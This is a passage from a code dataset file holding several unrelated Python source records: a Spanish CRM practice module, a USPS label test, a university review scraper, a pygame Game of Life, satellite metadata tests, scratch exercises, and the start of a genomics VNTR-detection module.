f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == oportunidad.id:\r\n                posicion = x\r\n            x += 1\r\n    # f.close()\r\n\r\n    with open('Datos/Oportunidades.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == posicion:\r\n                linea = linea_a_modificar\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef modificar_informe(informe):\r\n    linea_a_modificar = linea_informe(informe)\r\n    posicion = 0\r\n\r\n    with open('Datos/Informes.txt') as f:\r\n        x = 0\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == informe.getId():\r\n                posicion = x\r\n            x += 1\r\n    # f.close()\r\n\r\n    with open('Datos/Informes.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == posicion:\r\n                linea = linea_a_modificar\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef modificar_cliente(cliente):\r\n    linea_a_modificar = \"{0},{1},{2},{3},{4},{5},{6}\".format(str(cliente.id),str(cliente.dni),str(cliente.nombre),\r\n                                                 str(cliente.apellidos),str(cliente.email),\r\n                                                 str(cliente.fecha_nacimiento),str(cliente.tipocliente.name))\r\n    posicion = 0\r\n\r\n    with open('Datos/Clientes.txt') as f:\r\n        x = 0\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == cliente.id:\r\n                posicion = x\r\n            x += 1\r\n    # f.close()\r\n\r\n    with open('Datos/Clientes.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == posicion:\r\n                linea = linea_a_modificar\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef modificar_empleado(empleado):\r\n    linea_a_modificar = \"{0},{1},{2},{3},{4},{5},{6},{7}\".format(str(empleado.id),str(empleado.dni),str(empleado.nombre),\r\n                                                 str(empleado.apellidos),str(empleado.email),\r\n                                                 str(empleado.fecha_nacimiento),str(empleado.departamento.name),\r\n                                                 str(empleado.fecha_contratacion))\r\n    posicion = 0\r\n\r\n    with open('Datos/Empleados.txt') as f:\r\n        x = 0\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == empleado.id:\r\n                posicion = x\r\n            x += 1\r\n    # f.close()\r\n\r\n    with open('Datos/Empleados.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == posicion:\r\n                linea = linea_a_modificar\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef modificar_actividad(actividad):\r\n    linea_a_modificar = \"{0},{1},{2},{3},{4}\".format(str(actividad.id),str(actividad.descripcion),str(actividad.fecha_vencimiento),\r\n                                                 str(actividad.fecha_planificacion),str(actividad.tipoactividad.name))\r\n    posicion = 0\r\n\r\n    with open('Datos/Actividades.txt') as f:\r\n        x = 0\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == actividad.id:\r\n                posicion = x\r\n            x += 1\r\n    # f.close()\r\n\r\n    with open('Datos/Actividades.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == posicion:\r\n                linea = linea_a_modificar\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef borrar_oportunidad(oportunidad):\r\n    with open('Datos/Oportunidades.txt') as f:\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == oportunidad.id:\r\n                lista_lineas.remove(linea)\r\n    # f.close()\r\n\r\n    with open('Datos/Oportunidades.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\ndef borrar_informe_de_oportunidad(informe):\r\n    oportunidades = cargar_datos_oportunidades()\r\n    for oportunidad in oportunidades:\r\n        informes = oportunidad.informes\r\n        if informe in informes:\r\n            oportunidad.informes.remove(informe)\r\n            modificar_oportunidad(oportunidad)\r\n\r\ndef borrar_informe(informe):\r\n    with open('Datos/Informes.txt') as f:\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == informe.getId():\r\n                # linea_a_modificar = linea\r\n                lista_lineas.remove(linea)\r\n    # f.close()\r\n\r\n    # lista_lineas.remove(linea_a_modificar)\r\n\r\n    with open('Datos/Informes.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\n\r\n# Elimina el cliente de los informes en los que aparezca (y guarda los cambios en el fichero)\r\ndef borrar_cliente_de_informes(cliente):\r\n    informes = cargar_datos_informes()\r\n    for informe in informes:\r\n        clientes = informe.getClientes()\r\n        if cliente in clientes:\r\n            informe.getClientes().remove(cliente)\r\n            modificar_informe(informe)\r\n\r\n# Elimina el empleado de los informes en los que aparezca (y guarda los cambios en el fichero)\r\ndef borrar_empleado_de_informes(empleado):\r\n    informes = cargar_datos_informes()\r\n    for informe in informes:\r\n        empleados = informe.getEmpleados()\r\n        if empleado in empleados:\r\n            empleados.remove(empleado)\r\n            modificar_informe(informe)\r\n\r\n# Elimina los informes relacionados con una actividad (y guarda los cambios en el fichero)\r\ndef borrar_informes_de_actividad(actividad):\r\n    informes = cargar_datos_informes()\r\n    for informe in informes:\r\n        if actividad in informe:\r\n            borrar_informe(informe)\r\n            informes.remove(informe)\r\n\r\ndef borrar_cliente(cliente):\r\n    with open('Datos/Clientes.txt') as f:\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == cliente.id:\r\n                # linea_a_modificar = linea\r\n                lista_lineas.remove(linea)\r\n    # f.close()\r\n\r\n    # lista_lineas.remove(linea_a_modificar)\r\n\r\n    with open('Datos/Clientes.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\n    # Imitando \"ON DELETE CASCADE\" eliminamos al cliente de aquellos informes en los que aparezca.\r\n    borrar_cliente_de_informes(cliente)\r\n\r\n\r\ndef borrar_empleado(empleado):\r\n    with open('Datos/Empleados.txt') as f:\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == empleado.id:\r\n                # linea_a_modificar = linea\r\n                lista_lineas.remove(linea)\r\n    # f.close()\r\n\r\n    # lista_lineas.remove(linea_a_modificar)\r\n\r\n    with open('Datos/Empleados.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\n    # Imitando \"ON DELETE CASCADE\" eliminamos al empleado de aquellos informes en los que aparezca.\r\n    borrar_empleado_de_informes(empleado)\r\n\r\n\r\ndef borrar_actividad(actividad):\r\n    with open('Datos/Actividades.txt') as f:\r\n        lista_lineas = [line.rstrip('\\n') for line in f]\r\n        for linea in lista_lineas:\r\n            datos = linea.split(\",\")\r\n            if datos[0] == actividad.id:\r\n                # linea_a_modificar = linea\r\n                lista_lineas.remove(linea)\r\n    # f.close()\r\n\r\n    # lista_lineas.remove(linea_a_modificar)\r\n\r\n    with open('Datos/Actividades.txt', 'w+') as f:\r\n        x = 0\r\n        for linea in lista_lineas:\r\n            if x == 0:\r\n                f.write(str(linea))\r\n            else:\r\n                f.write(\"\\n\" + str(linea))\r\n            x += 1\r\n\r\n    # Si se elimina la actividad, el informe también. Puesto que el informe basa sus datos en la actividad.\r\n\r\n\r\n# Genera y devuelve un id (string) de 5 caracteres aleatorios\r\ndef generar_id():\r\n    abc = \"abcdefghijklmnopqrstuvwxyz\"\r\n    nums = \"1234567890\"\r\n    #simbs = \"!¡?¿=_-+*^'\"  # <- para los id no voy a usar símbolos\r\n    id = \"\"\r\n    while len(id) < 5:\r\n        x = random.randint(1, 3)\r\n        if x == 1:\r\n            x = random.randint(0, (len(abc) - 1))\r\n            id += abc[x]\r\n        elif x == 2:\r\n            x = random.randint(0, (len(abc) - 1))\r\n            id += abc.upper()[x]\r\n        elif x == 3:\r\n            x = random.randint(0, (len(nums) - 1))\r\n            id += nums[x]\r\n    return id\r\n\r\n# Recorre una lista, ya sea de clientes, empleados o actividades, buscando si el id existe o no, devuelve un boolean.\r\n# Devuelve True si el id es válido (único), y False si el id ya existe.\r\ndef comprobar_id(id, lista):\r\n    for valor in lista:\r\n        if id == valor.id:\r\n            return False\r\n    return True\r\n\r\ndef comprobar_id_informe(id, lista):\r\n    for valor in lista:\r\n        if id == valor.getId():\r\n            return False\r\n    return True\r\n\r\n# Utiliza la función generar_id y comprueba el id generado para ver que no existe, si no existe, lo asigna\r\n# Para saber si el id existe o no, utiliza la función comprobar_id\r\ndef generar_id_cliente():\r\n    clientes = cargar_datos_clientes()\r\n    while True:\r\n        id = generar_id()\r\n        if comprobar_id(id, clientes):\r\n            return id\r\n\r\n# Funciona igual que generar_id_cliente\r\ndef generar_id_actividad():\r\n    actividades = cargar_datos_actividades()\r\n    while True:\r\n        id = generar_id()\r\n        if comprobar_id(id, actividades):\r\n            return id\r\n\r\n# Funciona igual que generar_id_cliente\r\ndef generar_id_empleado():\r\n    empleados = cargar_datos_empleados()\r\n    while True:\r\n        id = generar_id()\r\n        if comprobar_id(id, empleados):\r\n            return id\r\n\r\n# Funciona igual que generar_id_cliente\r\ndef generar_id_informe():\r\n    informes = cargar_datos_informes()\r\n    while True:\r\n        id = generar_id()\r\n        if comprobar_id_informe(id, informes):\r\n            return id\r\n\r\ndef generar_id_oportunidad():\r\n    oportunidades = cargar_datos_oportunidades()\r\n    while True:\r\n        id = generar_id()\r\n        if comprobar_id(id, oportunidades):\r\n            return id\r\n","sub_path":"Practicas/Practica 2 - CRM/Practica2CRM/venv/Archivos/Funciones.py","file_name":"Funciones.py","file_ext":"py","file_size_in_byte":20900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"651689958","text":"import requests\nimport xml.etree.ElementTree as ET\nfrom datetime import datetime\nimport services.usps_generic as usps_generic\nimport pytest\nimport os \nfrom pathlib import Path\n\ndef testUspsGenericDirect(): \n    response=requestLabel('USPS_FC_W13.txt')\n    root = ET.fromstring(response)\n    base64_str=root.find(\".//LabelImage\").text\n\n    if(len(base64_str)<5000):\n        pytest.fail(\"label too short\")\n    tracking_number =root.find(\".//BarcodeNumber\").text\n    if (len(tracking_number)<10):\n        pytest.fail(\"tracking_number too short\")\n\n \ndef requestLabel(resouceName):\n    myTest=usps_generic.UspsGeneric()\n    labelRequest=loadLabelRequest(resouceName)\n    if not myTest.generateLabel(labelRequest):\n        pytest.fail(\"Label creation failed. Response:\"+myTest.message)\n    # response_file=open('response.xml','r',encoding='utf-8-sig')\n    return myTest.message\n\n\ndef loadLabelRequest(resourceName):\n    script_dir = Path(os.path.dirname(__file__)) \n    resourcePath=os.path.join(Path(os.path.dirname(__file__)),'resources')    \n    with open(os.path.join(resourcePath,resourceName),encoding='utf8') as testResourceFile:\n        labelRequest=testResourceFile.read()\n    return labelRequest\n\n","sub_path":"test/test_usps_generic.py","file_name":"test_usps_generic.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"234252534","text":"# This one gets all table data text\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport csv\nfrom urllib.parse import urlparse\n\ndef crwl_as_csv(univ_query):\n    page = 1\n    dummy_data1 = {}\n    df = pd.DataFrame(dummy_data1)\n    while page:\n        url = \"https://oia.yonsei.ac.kr/partner/expReport.asp?page=\" + str(page)+\"&cur_pack=0&ucode=\"+str(univ_query)+\"&bgbn=A\"\n        res = requests.get(url)\n        soup = BeautifulSoup(res.content,'lxml')\n        table = soup.find_all('table')[0]\n        df_crawl = pd.read_html(str(table),encoding='utf-8', header=0)[0]\n        df_crawl['href'] = [np.where(tag.has_attr('href'),tag.get('href'),\"no link\") for tag in table.find_all('a')]\n        if not df_crawl.empty:\n            page += 1\n            df = pd.concat([df, df_crawl],sort=False)\n        else:\n            print(df)\n            break\n    df_without_index = df.reset_index()\n    print(df_without_index)\n    df_without_index.to_csv(r'/Users/noopy/Yonsei_Exchange_Text_Wrangling/'+univ_query+'.csv',index=False,encoding=\"utf-8\")\n\n\ndef input_text(href):\n    empty_lst = []\n    review_url = \"https://oia.yonsei.ac.kr\" + href\n    res = requests.get(review_url)\n    soup = BeautifulSoup(res.content,'lxml')\n    body_cursor_list = soup.find_all(\"div\", {\"class\": \"exp_txt\"})\n    # options = webdriver.ChromeOptions()\n    # options.add_argument('headless')\n    # driver = webdriver.Chrome(r\"C:\\Users\\pc\\Desktop\\chromedriver\", options=options)\n    # driver.implicitly_wait(1) # waiting web source for one second implicitly\n    # driver.get(review_url)\n\n    # selenium body cursor list\n    # body_cursor_list = driver.find_elements_by_class_name(\"exp_txt\")\n\n    text_list = []\n    for i in body_cursor_list:\n        text_list.append(i.text)\n\n    text_list = text_list[1:]\n    return text_list\n\n# input_text(\"/partner/expReport.asp?id=15129&page=1&bgbn=R\")\n\n\ndef combining_into_csv(file_name):\n    initial_df = pd.read_csv(r'C:/Users/pc/Documents/GitHub/OIA_Text_Wrangling/dataf/'+file_name)\n    stacked_list = []\n    for item in initial_df['href']:\n        print(item)\n        text_list = input_text(item)\n        stacked_list.append(text_list)\n    univ_text_df= pd.DataFrame(np.row_stack(stacked_list),\n                               columns=[\"gen_info\", \"env_info\", \"food_info\", \"study_info\", \"office_info\", \"facil_info\", \"mhct_info\",\"help_info\",\"etc_info\"])\n    print(univ_text_df)\n    univ_text_df.to_csv(r'C:/Users/pc/Documents/GitHub/OIA_Text_Wrangling/dataf/'+file_name+'_text_data.csv',index=False,encoding=\"utf-8\")\n\ndef make_file(university_query):\n    crwl_as_csv(university_query)\n    file_name = university_query + \".csv\"\n    combining_into_csv(file_name)\n\n\ndef give_cde_from_url(href):\n    query =urlparse(href)\n    query_list = query.query.split('=')\n    query_list2 = query_list[1].split('&')\n    univ_code = query_list2[0]\n    print(univ_code)\n    return univ_code\n\ndef mke_csv_files():\n    df = pd.read_csv('univ_db_final_cont.csv')\n    for href in df['href']:\n        univ_code = give_cde_from_url(href)\n        crwl_as_csv(univ_code)\n        file_name = univ_code + \".csv\"\n        combining_into_csv(file_name)\n\nmke_csv_files()\n","sub_path":"_archived/collect_reviews.py","file_name":"collect_reviews.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"34334822","text":"import sys\nimport random\nimport time\n\nimport pygame\n\n\n\n\nclass LifeGame:\n    def __init__(self, screen_width=640, screen_height=480, cell_size=10, dead_color = (0,0,0), alive_color=(255,255,255), max_fps = 15):\n        \"\"\"\n        Initialize grid, set default game state, initialize screen\n\n        :param screen_width: Game window width\n        :param screen_height: Game window height\n        :param cell_size: Diameter of circles\n        :param dead_color: RGB tuple e.g. (255,0,255)\n        :param alive_color: RGB tuple e.g. (255,0,255)\n        :param max_fps: Framerate cap to limit game speed\n        :return: None\n        \"\"\"\n        self.screen_width = screen_width\n        self.screen_height = screen_height\n        self.cell_size = cell_size\n        self.circle_radius = self.cell_size // 2\n        self.dead_color = dead_color\n        self.alive_color = alive_color\n        self.max_fps = max_fps\n\n        self.screen_size = (self.screen_width, self.screen_height)\n        pygame.init()\n        self.screen = pygame.display.set_mode(self.screen_size)\n        self.clock = pygame.time.Clock()\n        self.init_grids()\n        self.paused = False\n        self.game_over = False\n    \n    def init_grids(self):\n        \"\"\"\n        Create the default active and inactive grid\n        :return: None\n        \"\"\"\n        self.num_cols = self.screen_width // self.cell_size\n        self.num_rows = self.screen_height // self.cell_size\n\n        self.grids = []\n\n        def create_grid():\n            \"\"\"\n            Generate an empty 2d grid\n            :return: 2D array of 0s\n            \"\"\"\n            grid = []\n            for c in range(self.num_cols):\n                grid.append([])\n                for r in range(self.num_rows):\n                    grid[-1].append(0)\n            return grid\n    \n        self.grids.append(create_grid())\n        self.grids.append(create_grid())\n\n        self.active_grid = 0\n\n        self.randomize_grid()\n\n    def run(self):\n        \"\"\" \n        Main game loop function\n\n        :return: None\n        \"\"\"\n        while True:\n            self.handle_events()\n            self.clock.tick(self.max_fps)  # set FPS\n\n            if self.game_over:\n                return\n\n            if not self.paused:\n                self.clear_screen()\n                self.draw_grid()\n                self.update_generation()\n                pygame.display.update()\n    \n\n    def handle_events(self):\n        \"\"\"\n        Handle the game events\n\n        :return: None\n        \"\"\"\n        for event in pygame.event.get():\n            if event.type == pygame.KEYDOWN:\n                if event.unicode == \"q\" or event.unicode == \"Q\":\n                    self.game_over = True\n                elif event.unicode == \"s\" or event.unicode == \"S\":\n                    self.paused = not self.paused\n                elif event.unicode == \"r\" or event.unicode == \"R\":\n                    self.randomize_grid()\n            if event.type == pygame.QUIT:\n                self.game_over = True\n\n    def clear_screen(self):\n        \"\"\"\n        Fill whole screen with dead color\n\n        :return: None\n        \"\"\"\n\n        self.screen.fill(self.dead_color)\n    \n    def zero_grid(self):\n        \"\"\"\n        Sets the active grid to all 0's\n\n        :return: None\n        \"\"\"\n        self.set_grid(0)\n\n    def randomize_grid(self):\n        \"\"\"\n        Randomizes the active grid\n\n        :return: None\n        \"\"\"\n        self.set_grid()\n    \n    def set_grid(self, value=None):\n        \"\"\"\n        Set an entire grid at once. Set to single value or random 0/1\n        \n        :param value: Value to set the cell to (0 or 1)\n        :return: None\n        \"\"\"\n\n        for idx_col in range(self.num_cols):\n            for idx_row in range(self.num_rows):\n                if value is None:\n                    self.grids[self.active_grid][idx_col][idx_row] = random.choice([0,1])\n                else:\n                    self.grids[self.active_grid][idx_col][idx_row] = value\n\n    def draw_grid(self):\n        \"\"\"\n        Given the grid and cell states draw the cells on the screen\n    \n        :return: None\n        \"\"\"\n\n        for idx_col in range(self.num_cols):\n            for idx_row in range(self.num_rows):\n                if self.grids[self.active_grid][idx_col][idx_row] == 1:\n                    color = self.alive_color\n                else:\n                    color = self.dead_color\n                pygame.draw.circle(self.screen, \n                                    color,\n                                    ((idx_col * self.cell_size + self.circle_radius), idx_row * self.cell_size + self.circle_radius),\n                                    self.circle_radius)\n\n\n    def update_generation(self):\n        \"\"\"\n        Updates the state for all cells in the active grid\n\n        :return: None\n        \"\"\"\n        inactive_grid = self.inactive_grid()\n\n        for c in range(self.num_cols):\n            for r in range(self.num_rows):\n                next_gen_state = self.check_cell_neighbors(c,r)\n                self.grids[inactive_grid][c][r] = next_gen_state\n\n        self.active_grid = inactive_grid\n    \n    def inactive_grid(self):\n        \"\"\" \n        Helper function to return the currently inactive grid\n        \n        :return: Inactive grid (0/1)\n        \"\"\"\n        return (self.active_grid + 1) % 2\n\n\n\n    def count_live_neighbors(self, idx_col, idx_row):\n        \"\"\"\n        Counts the alive (1) neighbors to given cell\n\n        :param idx_col: Column index\n        :param idx_row: Row index\n        :return: Number of alive neighbors(0-8)\n        \"\"\"\n        alive_neighbors = 0\n        for c in range(-1,2):\n            for r in range(-1,2):\n                if c == 0 and r == 0:\n                    continue\n                try:\n                    alive_neighbors += self.grids[self.active_grid][idx_col + c][idx_row + r]\n                except: \n                    pass\n        return alive_neighbors\n\n    def check_cell_neighbors(self, idx_col,idx_row):\n        \"\"\"\n        Get the n umber of alive neighbor cella nd determine the state of the cell for the next genretaion. Determine whether it lives, dies, or survives\n\n        :param idx_col: The index of the column\n        :param idx:row: The index of the row\n        :return: Dead (0) or Alive (1)\n        \"\"\"\n        num_alive_neighbors = self.count_live_neighbors(idx_col, idx_row)\n\n        if self.grids[self.active_grid][idx_col][idx_row] == 1: #alive\n            if num_alive_neighbors < 2: # underpopulated\n                return 0\n            elif num_alive_neighbors == 2 or num_alive_neighbors == 3: # remain alive\n                return 1\n            elif num_alive_neighbors > 3:     # overpopulate\n                return 0\n        elif self.grids[self.active_grid][idx_col][idx_row] == 0: # dead\n            if num_alive_neighbors == 3:  # revive\n                return 1\n\n        return self.grids[self.active_grid][idx_col][idx_row]\n                    \n\n","sub_path":"pygameoflife_dadeerh/pygameoflife_dadeerh.py","file_name":"pygameoflife_dadeerh.py","file_ext":"py","file_size_in_byte":6973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"642866250","text":"import pytest\n\nfrom constants import BAND_ID\nfrom metadata_parser import MetadataParser\n\n\ndef test_get_mean_angles(S2A_metadata_file, angle_keys):\n    m_parser = MetadataParser(S2A_metadata_file)\n    for band_id in BAND_ID:\n        angles = m_parser.get_mean_angles(band_id.value)\n        assert set(angles.keys()) == angle_keys\n        for angle in angles.values():\n            assert isinstance(angle, float)\n\n\ndef test_get_platform(S2A_metadata_file, S2B_metadata_file):\n    _test_get_platform(S2A_metadata_file, 'S2A')\n    _test_get_platform(S2B_metadata_file, 'S2B')\n\n\ndef _test_get_platform(metadata_file, expected_platform):\n    m_parser = MetadataParser(metadata_file)\n    platform = m_parser.get_platform()\n    assert platform == expected_platform\n","sub_path":"examples/sentinel2/tests/test_metadata_parser.py","file_name":"test_metadata_parser.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"159280364","text":"#import pandas as pd\ndrinks = [\"espresso\", \"chai\", \"decaf\", \"drip\"]\ncaffeine = [64, 40, 0, 120]\n\nzipped_drinks=zip(drinks,caffeine)\n\ndrinks_to_caffeine = {key:value for key, value in zip(drinks,caffeine)}\nprint(drinks_to_caffeine)\n\ndef seq_sum(sequence):\n  a = zip(sequence, sequence[::-1])\n  print(sequence[::-1])\n  b = a\n # print(list(b))\n  print(sum(next(a)))\n  return len(sequence) * sum(next(a)) // 2\n\n\n    \n\nprint(seq_sum(range(10)))\nprint(0+1+2+3+4+5+6+7+8+9)\n\n#Dictionaries: try Except\npopulation = {\"California\": {\"Los Angeles\": 3971883,\n                             \"San Diego\": 1394928,\n                             \"San Jose\": 1026908},\n              \"Texas\": {\"Houston\": 2296224,\n                        \"San Antonio\": 1469845}\n              }\n\ntry:\n    utah_list = population['Utah']\n\nexcept KeyError as k:\n    print(type(k))\n    print(\"Key \" + str(k) + \" does not exist\")\n\n#FOR CORONAVIRUS PROGRAM:\nimport unittest\nfrom selenium import webdriver\n\nclass GoogleTest(unittest.TestCase):\n    def setUp(self):\n        self.driver = webdriver.Chrome(\"D:\\\\Google Drive\\\\Codecademy\\\\Coronavirus_Email_Project\\\\chromedriver.exe\")\n    \n    def test_google_search(self):\n        self.driver.get(\"https://www.google.com/xhtml\")\n        self.assertIn(\"Google\",self.driver.title)\n        search_field=self.driver.find_element_by_name(\"q\")\n        search_field.send_keys(\"eric donald trump\")\n        search_field.submit()\n        assert \"Es wurden keine mit deiner Suchanfrage -\" not in self.driver.page_source\n\n    def test_google_search2(self):\n        self.driver.get(\"https://www.google.com/xhtml\")\n        self.assertIn(\"Google\",self.driver.title)\n        search_field=self.driver.find_element_by_name(\"q\")\n        search_field.send_keys(\"asdfasdfasdfasfaoköpjsdhfoipawshfvpoiashbdfpihapöfnbapisdfhgpoiausdjhfpdfasdfasdf\")\n        search_field.submit()\n        assert \"Es wurden keine mit deiner Suchanfrage -\" not in self.driver.page_source\n\n    def tearDown(self):\n        self.driver.close()\n\nif __name__ == \"__main__\":\n    unittest.main()\n","sub_path":"python/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"574980200","text":"import logging\nimport numpy\nimport os\nfrom multiprocessing import Process, Manager, Value, Semaphore\nfrom random import random\nfrom uuid import uuid4\n\nimport pysam\nfrom Bio import pairwise2\nfrom Bio.Seq import Seq\n\nfrom blast_wrapper import get_blast_matched_ids, make_blast_database\nfrom coverage_bias import CoverageBiasDetector, CoverageCorrector\nfrom hmm_utils import *\nfrom pacbio_haplotyper import PacBioHaplotyper\nfrom pomegranate import HiddenMarkovModel as Model\nfrom profiler import time_usage\nfrom sam_utils import get_reference_genome_of_alignment_file\nfrom sam_utils import get_related_reads_and_read_count_in_samfile\nimport settings\nfrom utils import is_low_quality_read\n\n\nclass SelectedRead:\n    def __init__(self, sequence, logp, vpath, mapq=None, reference_start=None):\n        self.sequence = sequence\n        self.logp = logp\n        self.vpath = vpath\n        self.mapq = mapq\n        self.is_mapped = reference_start is not None\n\n    def is_mapped(self):\n        return self.is_mapped\n\n\nclass VNTRFinder:\n    \"\"\"Find the VNTR structure of a reference VNTR in NGS data of the donor.\"\"\"\n\n    def __init__(self, reference_vntr):\n        self.reference_vntr = reference_vntr\n        self.min_repeat_bp_to_add_read = 2\n        if len(self.reference_vntr.pattern) < 30:\n            self.min_repeat_bp_to_add_read = 2\n        self.min_repeat_bp_to_count_repeats = 2\n\n        self.minimum_left_flanking_size = {}\n        self.minimum_right_flanking_size = {69212: 19, 532789: 12, 400825: 10, 468671: 10}\n\n        self.vntr_start = self.reference_vntr.start_point\n        self.vntr_end = self.vntr_start + self.reference_vntr.get_length()\n\n    @time_usage\n    def build_vntr_matcher_hmm(self, copies, flanking_region_size=100):\n        patterns = self.reference_vntr.get_repeat_segments()\n        left_flanking_region = self.reference_vntr.left_flanking_region[-flanking_region_size:]\n        right_flanking_region = self.reference_vntr.right_flanking_region[:flanking_region_size]\n\n        vntr_matcher = get_read_matcher_model(left_flanking_region, right_flanking_region, patterns, copies)\n        return vntr_matcher\n\n    def get_vntr_matcher_hmm(self, read_length):\n        \"\"\"Try to load trained HMM for this VNTR\n        If there was no trained HMM, it will build one and store it for later usage\n        \"\"\"\n        logging.info('Using read length %s' % read_length)\n        copies = int(round(float(read_length) / len(self.reference_vntr.pattern) + 0.5))\n\n        base_name = str(self.reference_vntr.id) + '_' + str(read_length) + '.json'\n        stored_hmm_file = settings.TRAINED_HMMS_DIR + base_name\n        if settings.USE_TRAINED_HMMS and os.path.isfile(stored_hmm_file):\n            model = Model()\n            model = model.from_json(stored_hmm_file)\n            return model\n\n        flanking_region_size = read_length\n        vntr_matcher = self.build_vntr_matcher_hmm(copies, flanking_region_size)\n\n        json_str = vntr_matcher.to_json()\n        with open(stored_hmm_file, 'w') as outfile:\n            outfile.write(json_str)\n        return vntr_matcher\n\n    @time_usage\n    def filter_reads_with_keyword_matching(self, working_directory, read_file, short_reads=True):\n        db_name = 'blast_db__' + os.path.basename(read_file)\n        blast_db_name = working_directory + db_name\n        empty_db = False\n        if not os.path.exists(blast_db_name + '.nsq') and not os.path.exists(blast_db_name + '.nal'):\n            empty_db = make_blast_database(read_file, blast_db_name)\n\n        word_size = int(len(self.reference_vntr.pattern)/3)\n        if word_size > 11:\n            word_size = 11\n        if word_size < 5:\n            word_size = 5\n        word_size = str(word_size)\n\n        search_results = []\n        blast_ids = set([])\n        search_id = str(uuid4()) + str(self.reference_vntr.id)\n        queries = self.reference_vntr.get_repeat_segments()\n        if len(self.reference_vntr.pattern) < 10:\n            min_copies = int(10 / len(self.reference_vntr.pattern))\n            queries = [self.reference_vntr.pattern * min_copies]\n        identity_cutoff = '0'\n        if not short_reads:\n            queries = [self.reference_vntr.left_flanking_region[-80:], self.reference_vntr.right_flanking_region[:80]]\n            word_size = str('10')\n            identity_cutoff = '70'\n        if not empty_db:\n            for query in queries:\n                search_result = get_blast_matched_ids(query, blast_db_name, max_seq='50000', word_size=word_size,\n                                                      evalue=10, search_id=search_id, identity_cutoff=identity_cutoff)\n                search_results.append(search_result)\n\n            if short_reads:\n                for search_result in search_results:\n                    blast_ids |= search_result\n            else:\n                blast_ids = search_results[0] & search_results[1]\n\n        logging.info('blast selected %s reads for %s' % (len(blast_ids), self.reference_vntr.id))\n        if len(blast_ids) == len(self.reference_vntr.get_repeat_segments()) * 50 * 1000:\n            logging.error('maximum number of read selected in filtering for pattern %s' % self.reference_vntr.id)\n        return blast_ids\n\n    @staticmethod\n    def add_hmm_score_to_list(sema, hmm, read, result_scores):\n        logp, vpath = hmm.viterbi(str(read.seq))\n        rev_logp, rev_vpath = hmm.viterbi(str(Seq(str(read.seq)).reverse_complement()))\n        if logp < rev_logp:\n            logp = rev_logp\n        result_scores.append(logp)\n        sema.release()\n\n    def is_true_read(self, read):\n        read_start = read.reference_start\n        reference_name = read.reference_name\n        if not reference_name.startswith('chr'):\n            reference_name = 'chr' + reference_name\n        if reference_name == self.reference_vntr.chromosome and self.vntr_start - len(read.seq) < read_start < self.vntr_end:\n            return True\n        return False\n\n    def find_score_distribution_of_ref(self, samfile, reference, hmm, false_scores, true_scores):\n        process_list = []\n        